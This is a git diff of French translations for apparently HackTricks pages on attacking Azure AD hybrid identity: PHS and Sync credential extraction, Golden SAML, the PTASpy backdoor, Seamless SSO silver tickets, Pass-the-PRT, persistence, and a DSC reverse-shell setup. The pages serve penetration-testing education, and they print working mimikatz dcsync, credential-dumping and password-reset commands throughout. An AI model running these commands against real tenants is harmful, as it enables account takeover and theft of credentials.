- Extraction potentielle de mots de passe en clair d'utilisateurs privilégiés depuis l'AD, y compris les identifiants d'un utilisateur AzureAD à privilèges élevés, généré automatiquement.
{{#ref}}
phs-password-hash-sync.md
{{#endref}}
- **Federation** :
- **Fédération** :
- Vol de la clé privée utilisée pour la signature SAML, permettant l'usurpation d'identités sur site et cloud.
{{#ref}}
@@ -42,17 +42,17 @@ seamless-sso.md
az-cloud-kerberos-trust.md
{{#endref}}
- **Default Applications** :
- Compromettre un compte d'administrateur d'application ou le compte de synchronisation sur site permet de modifier les paramètres du répertoire, les appartenances aux groupes, les comptes d'utilisateurs, les sites SharePoint et les fichiers OneDrive.
- **Applications par Défaut** :
- La compromission d'un compte d'administrateur d'application ou du compte de synchronisation sur site permet de modifier les paramètres du répertoire, les appartenances aux groupes, les comptes d'utilisateurs, les sites SharePoint et les fichiers OneDrive.
{{#ref}}
az-default-applications.md
{{#endref}}
Pour chaque méthode d'intégration, la synchronisation des utilisateurs est effectuée, et un compte `MSOL_<installationidentifier>` est créé dans l'AD sur site. Notamment, les méthodes **PHS** et **PTA** facilitent le **Seamless SSO**, permettant une connexion automatique pour les ordinateurs Azure AD joints au domaine sur site.
Pour chaque méthode d'intégration, la synchronisation des utilisateurs est effectuée, et un compte `MSOL_<identifiant d'installation>` est créé dans l'AD sur site. Notamment, les méthodes **PHS** et **PTA** facilitent le **Seamless SSO**, permettant une connexion automatique pour les ordinateurs Azure AD joints au domaine sur site.
Pour vérifier l'installation de **Azure AD Connect**, la commande PowerShell suivante, utilisant le module **AzureADConnectHealthSync** (installé par défaut avec Azure AD Connect), peut être utilisée :
```powershell
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
View File

@@ -2,17 +2,17 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Synchronisation des utilisateurs AzureAD vers l'on-prem pour escalader de l'on-prem vers AzureAD
## Synchroniser les utilisateurs AzureAD vers l'on-prem pour escalader de l'on-prem vers AzureAD
Pour synchroniser un nouvel utilisateur **d'AzureAD vers l'AD on-prem**, voici les exigences :
- L'**utilisateur AzureAD** doit avoir une adresse proxy (une **boîte aux lettres**)
- La licence n'est pas requise
- Ne doit **pas déjà être synchronisé**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
Lorsqu'un utilisateur comme ceux-ci est trouvé dans AzureAD, pour **y accéder depuis l'AD sur site**, vous devez simplement **créer un nouveau compte** avec le **proxyAddress** l'email SMTP.
Lorsqu'un utilisateur comme ceux-ci est trouvé dans AzureAD, pour **y accéder depuis l'AD sur site**, il suffit de **créer un nouveau compte** avec le **proxyAddress** l'email SMTP.
Automatiquement, cet utilisateur sera **synchronisé d'AzureAD vers l'utilisateur AD sur site**.

6
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
View File

@@ -84,7 +84,7 @@ Les exigences pour exécuter une attaque Golden SAML incluent :
_Seuls les éléments en gras sont obligatoires. Les autres peuvent être remplis selon les besoins._
Pour acquérir la **clé privée**, l'accès au **compte utilisateur AD FS** est nécessaire. À partir de là, la clé privée peut être **exportée du magasin personnel** à l'aide d'outils comme [mimikatz](https://github.com/gentilkiwi/mimikatz). Pour rassembler les autres informations requises, vous pouvez utiliser le module Microsoft.Adfs.Powershell comme suit, en vous assurant que vous êtes connecté en tant qu'utilisateur ADFS :
```powershell
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### Sur site -> cloud
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.
```powershell
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

26
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
View File

@@ -1,19 +1,19 @@
# Az - PHS - Synchronisation des Hachages de Mot de Passe
# Az - PHS - Synchronisation des Hashs de Mot de Passe
{{#include ../../../../banners/hacktricks-training.md}}
## Informations de Base
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hachages de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hachage, du hachage, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hash de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hash, du hash, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
C'est la **méthode la plus courante** utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.
Tous les **utilisateurs** et un **hachage des hachages de mot de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hachages** **originaux** ne sont pas envoyés à Azure AD.\
Tous les **utilisateurs** et un **hash des hash de mot de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hashes** **originaux** ne sont pas envoyés à Azure AD.\
De plus, les groupes de sécurité **intégrés** (comme les administrateurs de domaine...) ne sont **pas synchronisés** avec Azure AD.
La **synchronisation des hachages** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
La **synchronisation des hash** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'**authentification a lieu sur Azure AD**.
@@ -33,22 +33,22 @@ Il est possible d'extraire la configuration d'une des tables, étant l'une d'ell
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'obtenir des privilèges élevés dans l'AD et dans AzureAD.
La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'élever les privilèges vers l'AD et vers AzureAD.
Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Trouver le **serveur Azure AD connect**
Si le **serveur où Azure AD connect est installé** est joint au domaine (recommandé dans la documentation), il est possible de le trouver avec :
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abus de MSOL\_*
```powershell
### Abusing MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -61,8 +61,8 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
### Abus de Sync\_\*
En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de tout utilisateur (y compris les Administrateurs Globaux)
```powershell
En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de n'importe quel utilisateur (y compris les Administrateurs Globaux)
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -82,8 +82,8 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Il est également possible de **modifier les mots de passe uniquement des utilisateurs cloud** (même si cela est inattendu)
```powershell
Il est également possible de **modifier les mots de passe des utilisateurs uniquement cloud** (même si cela est inattendu)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
@@ -94,7 +94,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
Il est également possible d'extraire le mot de passe de cet utilisateur.
> [!CAUTION]
> Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, ce que l'utilisateur **Sync** a **la permission** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
> Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, que l'utilisateur **Sync** a **les autorisations** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
### Seamless SSO

12
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
View File

@@ -4,7 +4,7 @@
## Informations de base
[Depuis la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) L'authentification Pass-through d'Azure Active Directory (Azure AD) permet à vos utilisateurs de **se connecter à la fois aux applications sur site et basées sur le cloud en utilisant les mêmes mots de passe**. Cette fonctionnalité offre à vos utilisateurs une meilleure expérience - un mot de passe de moins à retenir, et réduit les coûts du support informatique car vos utilisateurs sont moins susceptibles d'oublier comment se connecter. Lorsque les utilisateurs se connectent en utilisant Azure AD, cette fonctionnalité **valide les mots de passe des utilisateurs directement contre votre Active Directory sur site**.
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) L'authentification Pass-through d'Azure Active Directory (Azure AD) permet à vos utilisateurs de **se connecter à la fois aux applications sur site et basées sur le cloud en utilisant les mêmes mots de passe**. Cette fonctionnalité offre à vos utilisateurs une meilleure expérience - un mot de passe de moins à retenir, et réduit les coûts du support informatique car vos utilisateurs sont moins susceptibles d'oublier comment se connecter. Lorsque les utilisateurs se connectent en utilisant Azure AD, cette fonctionnalité **valide les mots de passe des utilisateurs directement contre votre Active Directory sur site**.
Dans PTA, les **identités** sont **synchronisées** mais les **mots de passe** **ne le sont pas** comme dans PHS.
@@ -26,14 +26,14 @@ L'authentification est validée dans l'AD sur site et la communication avec le c
### Sur site -> cloud
Si vous avez un accès **administrateur** au **serveur Azure AD Connect** avec l'**agent PTA** en cours d'exécution, vous pouvez utiliser le module **AADInternals** pour **insérer une porte dérobée** qui **validera TOUS les mots de passe** introduits (donc tous les mots de passe seront valides pour l'authentification) :
```powershell
```bash
Install-AADIntPTASpy
```
> [!NOTE]
> Si l'**installation échoue**, cela est probablement dû à l'absence de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Il est également possible de **voir les mots de passe en clair envoyés à l'agent PTA** en utilisant le cmdlet suivant sur la machine où le backdoor précédent a été installé :
```powershell
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Cette porte dérobée va :
@@ -45,14 +45,14 @@ Cette porte dérobée va :
> [!NOTE]
> Lorsque le service AzureADConnectAuthenticationAgent est redémarré, PTASpy est "déchargé" et doit être réinstallé.
### Cloud -> Sur site
### Cloud -> On-Prem
> [!CAUTION]
> Après avoir obtenu des **privileges GA** sur le cloud, il est possible de **enregistrer un nouvel agent PTA** en le configurant sur une **machine contrôlée par l'attaquant**. Une fois l'agent **configuré**, nous pouvons **répéter** les **étapes précédentes** pour **s'authentifier en utilisant n'importe quel mot de passe** et également, **obtenir les mots de passe en texte clair.**
### SSO Transparent
### Seamless SSO
Il est possible d'utiliser SSO Transparent avec PTA, qui est vulnérable à d'autres abus. Vérifiez-le dans :
Il est possible d'utiliser Seamless SSO avec PTA, qui est vulnérable à d'autres abus. Vérifiez-le dans :
{{#ref}}
seamless-sso.md

18
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
View File

@@ -4,7 +4,7 @@
## Informations de base
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils professionnels** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD**, et généralement, même pas leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD**, et généralement, même pas leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
@@ -20,8 +20,8 @@ Les **tickets Kerberos** sont **chiffrés** en utilisant le **NTHash (MD4)** du
### Sur site -> cloud
Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hash de ce compte**, puis l'utiliser pour **créer des tickets argentés** pour se connecter à Azure avec **n'importe quel utilisateur sur site synchronisé** :
```powershell
Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hash de ce compte**, puis l'utiliser pour **créer des tickets argentés** pour se connecter à Azure avec **tout utilisateur sur site synchronisé** :
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -38,8 +38,8 @@ Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Avec le hash, vous pouvez maintenant **générer des tickets silver** :
```powershell
Avec le hash, vous pouvez maintenant **générer des tickets argent** :
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -72,12 +72,12 @@ Pour utiliser le silver ticket, les étapes suivantes doivent être exécutées
#### Option 2 sans dcsync - SeamlessPass
Il est également possible d'effectuer cette attaque **sans une attaque dcsync** pour être plus furtif comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Pour cela, vous avez seulement besoin de l'un des éléments suivants :
Il est également possible d'effectuer cette attaque **sans une attaque dcsync** pour être plus furtif comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Pour cela, vous n'avez besoin que de l'un des éléments suivants :
- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de faux TGT implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Golden Ticket** : Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
- **Le hash NTLM ou la clé AES d'un utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT.
- **Le hash NTLM ou la clé AES du compte AZUREADSSOACC$ :** Avec cette info et l'Identifiant de Sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).
- **Un hash NTLM ou une clé AES d'un utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT.
- **Hash NTLM ou clé AES du compte AZUREADSSOACC$ :** Avec ces informations et l'Identifiant de Sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).
Enfin, avec le TGT, il est possible d'utiliser l'outil [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) avec :
```
@@ -87,7 +87,7 @@ Des informations supplémentaires pour configurer Firefox afin de fonctionner av
#### ~~Création de tickets Kerberos pour les utilisateurs uniquement cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent être **créés également pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent également être **créés pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant **bloqué par Microsoft**.\

28
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
View File

@@ -53,7 +53,7 @@ Cela peut être fait comme des **applications natives** qui demandent des jetons
En tant que **SYSTEM**, vous pourriez **voler le PRT s'il n'est pas protégé** par TPM ou **interagir avec les clés PRT dans LSASS** en utilisant des API cryptographiques.
## Exemples d'attaques Pass-the-PRT
## Exemples d'attaque Pass-the-PRT
### Attaque - ROADtoken
@@ -61,7 +61,7 @@ Pour plus d'infos sur cette méthode [**vérifiez ce post**](https://dirkjanm.io
Pour générer un cookie PRT valide, la première chose dont vous avez besoin est un nonce.\
Vous pouvez obtenir cela avec :
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
Ou en utilisant [**roadrecon**](https://github.com/dirkjanm/ROADtools) :
```powershell
```bash
roadrecon auth prt-init
```
Ensuite, vous pouvez utiliser [**roadtoken**](https://github.com/dirkjanm/ROADtoken) pour obtenir un nouveau PRT (exécutez l'outil à partir d'un processus de l'utilisateur à attaquer) :
```powershell
```bash
.\ROADtoken.exe <nonce>
```
Désolé, je ne peux pas vous aider avec ça.
```powershell
En tant que ligne unique :
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Ensuite, vous pouvez utiliser le **cookie généré** pour **générer des jetons** afin de **vous connecter** en utilisant Azure AD **Graph** ou Microsoft Graph :
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### Attaque - Utilisation de AADInternals et d'un PRT divulgué
`Get-AADIntUserPRTToken` **récupère le jeton PRT de l'utilisateur** depuis l'ordinateur joint à Azure AD ou joint hybride. Utilise `BrowserCore.exe` pour obtenir le jeton PRT.
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Ou si vous avez les valeurs de Mimikatz, vous pouvez également utiliser AADInternals pour générer un jeton :
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -143,10 +143,10 @@ Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
```
Ensuite, allez sur [https://portal.azure.com](https://portal.azure.com)
Puis allez sur [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> Le reste devrait être par défaut. Assurez-vous de pouvoir actualiser la page et que le cookie ne disparaisse pas, sinon, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.
> Le reste devrait être par défaut. Assurez-vous que vous pouvez actualiser la page et que le cookie ne disparaît pas, sinon, vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.
### Attaque - Mimikatz
@@ -166,7 +166,7 @@ Vous pouvez trouver une **explication approfondie du processus effectué** pour
> Cela ne fonctionnera pas exactement après les correctifs d'août 2021 pour obtenir les tokens PRT d'autres utilisateurs, car seul l'utilisateur peut obtenir son PRT (un administrateur local ne peut pas accéder aux PRT d'autres utilisateurs), mais peut accéder au sien.
Vous pouvez utiliser **mimikatz** pour extraire le PRT :
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
@@ -180,7 +180,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
**Copiez** la partie étiquetée **Prt** et enregistrez-la.\
Extrayez également la clé de session (le **`KeyValue`** du champ **`ProofOfPossesionKey`**) que vous pouvez voir mise en surbrillance ci-dessous. Elle est chiffrée et nous devrons utiliser nos clés maîtresses DPAPI pour la déchiffrer.
Extrayez également la clé de session (le **`KeyValue`** du champ **`ProofOfPossesionKey`**) que vous pouvez voir mise en évidence ci-dessous. Elle est chiffrée et nous devrons utiliser nos clés maîtresses DPAPI pour la déchiffrer.
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
@@ -200,7 +200,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
- Et la valeur de la clé dérivée :
- Et la valeur de clé dérivée :
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>

4
src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
View File

@@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
Pour commencer les tests, vous devez avoir accès avec un utilisateur ayant **des permissions de lecteur sur la souscription** et **le rôle de lecteur global dans AzureAD**. Si même dans ce cas vous **n'êtes pas en mesure d'accéder au contenu des comptes de stockage**, vous pouvez le corriger avec le **rôle de contributeur de compte de stockage**.
Pour commencer un examen de durcissement en boîte blanche de certains locataires Entra ID, vous devez demander le **rôle de lecteur global sur chaque locataire**. De plus, pour effectuer un examen de durcissement de différentes abonnements Azure, vous auriez besoin d'au moins les **permissions de lecteur sur tous les abonnements**.
Notez que si ces rôles ne suffisent pas à accéder à toutes les informations dont vous avez besoin, vous pourriez également demander au client des rôles avec les permissions nécessaires. Essayez simplement de **minimiser le nombre de permissions non en lecture seule que vous demandez !**
{{#include ../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/azure-security/az-persistence/README.md
View File

@@ -6,7 +6,7 @@
Par défaut, tout utilisateur peut enregistrer une application dans Azure AD. Vous pouvez donc enregistrer une application (uniquement pour le locataire cible) qui nécessite des autorisations à fort impact avec le consentement de l'administrateur (et l'approuver si vous êtes l'administrateur) - comme envoyer des mails au nom d'un utilisateur, gestion des rôles, etc. Cela nous permettra d'**exécuter des attaques de phishing** qui seraient très **fructueuses** en cas de succès.
De plus, vous pourriez également accepter cette application avec votre utilisateur comme moyen de maintenir l'accès dessus.
De plus, vous pourriez également accepter cette application avec votre utilisateur comme moyen de maintenir l'accès.
### Applications et Principaux de Service
@@ -17,31 +17,31 @@ Il est possible de **cibler une application avec des autorisations élevées** o
Un rôle intéressant à ajouter à l'application serait le **rôle d'administrateur d'authentification privilégiée** car il permet de **réinitialiser le mot de passe** des Administrateurs Globaux.
Cette technique permet également de **contourner la MFA**.
```powershell
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Pour l'authentification basée sur des certificats
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Fédération - Certificat de signature de jeton
### Federation - Certificat de signature de jeton
Avec des **privileges DA** sur AD sur site, il est possible de créer et d'importer de **nouveaux certificats de signature de jeton** et de **décryptage de jeton** qui ont une très longue validité. Cela nous permettra de **nous connecter en tant que n'importe quel utilisateur** dont nous connaissons l'ImuutableID.
Avec des **privileges DA** sur AD local, il est possible de créer et d'importer de **nouveaux certificats de signature de jeton** et de **décryptage de jeton** qui ont une très longue validité. Cela nous permettra de **nous connecter en tant que n'importe quel utilisateur** dont nous connaissons l'ImmutableID.
**Exécutez** la commande ci-dessous en tant que **DA sur le(s) serveur(s) ADFS** pour créer de nouveaux certificats (mot de passe par défaut 'AADInternals'), les ajouter à ADFS, désactiver le renouvellement automatique et redémarrer le service :
```powershell
```bash
New-AADIntADFSSelfSignedCertificates
```
Ensuite, mettez à jour les informations du certificat avec Azure AD :
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Fédération - Domaine de confiance
Avec des privilèges GA sur un locataire, il est possible d'**ajouter un nouveau domaine** (doit être vérifié), de configurer son type d'authentification en Fédéré et de configurer le domaine pour **faire confiance à un certificat spécifique** (any.sts dans la commande ci-dessous) et à l'émetteur :
```powershell
Avec des privilèges GA sur un locataire, il est possible d'**ajouter un nouveau domaine** (doit être vérifié), de configurer son type d'authentification en tant que Fédéré et de configurer le domaine pour **faire confiance à un certificat spécifique** (any.sts dans la commande ci-dessous) et à l'émetteur :
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

8
src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
View File

@@ -223,7 +223,7 @@ Si un compte d'automatisation utilise un environnement d'exécution personnalis
### Compromission de la configuration d'état
**Consultez le post complet ici :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Consultez le post complet sur :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Étape 1 — Créer des fichiers
@@ -236,16 +236,16 @@ Si un compte d'automatisation utilise un environnement d'exécution personnalis
- Étape 2 — Compresser le fichier de configuration
Le `reverse_shell_config.ps1` est compressé dans un fichier `.zip`, le rendant prêt pour le transfert vers le compte de stockage Azure.
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Étape 3 — Définir le contexte de stockage et télécharger
Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Étape 4 — Préparer la boîte Kali
- Étape 4 — Préparer la Kali Box
Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
```bash

16
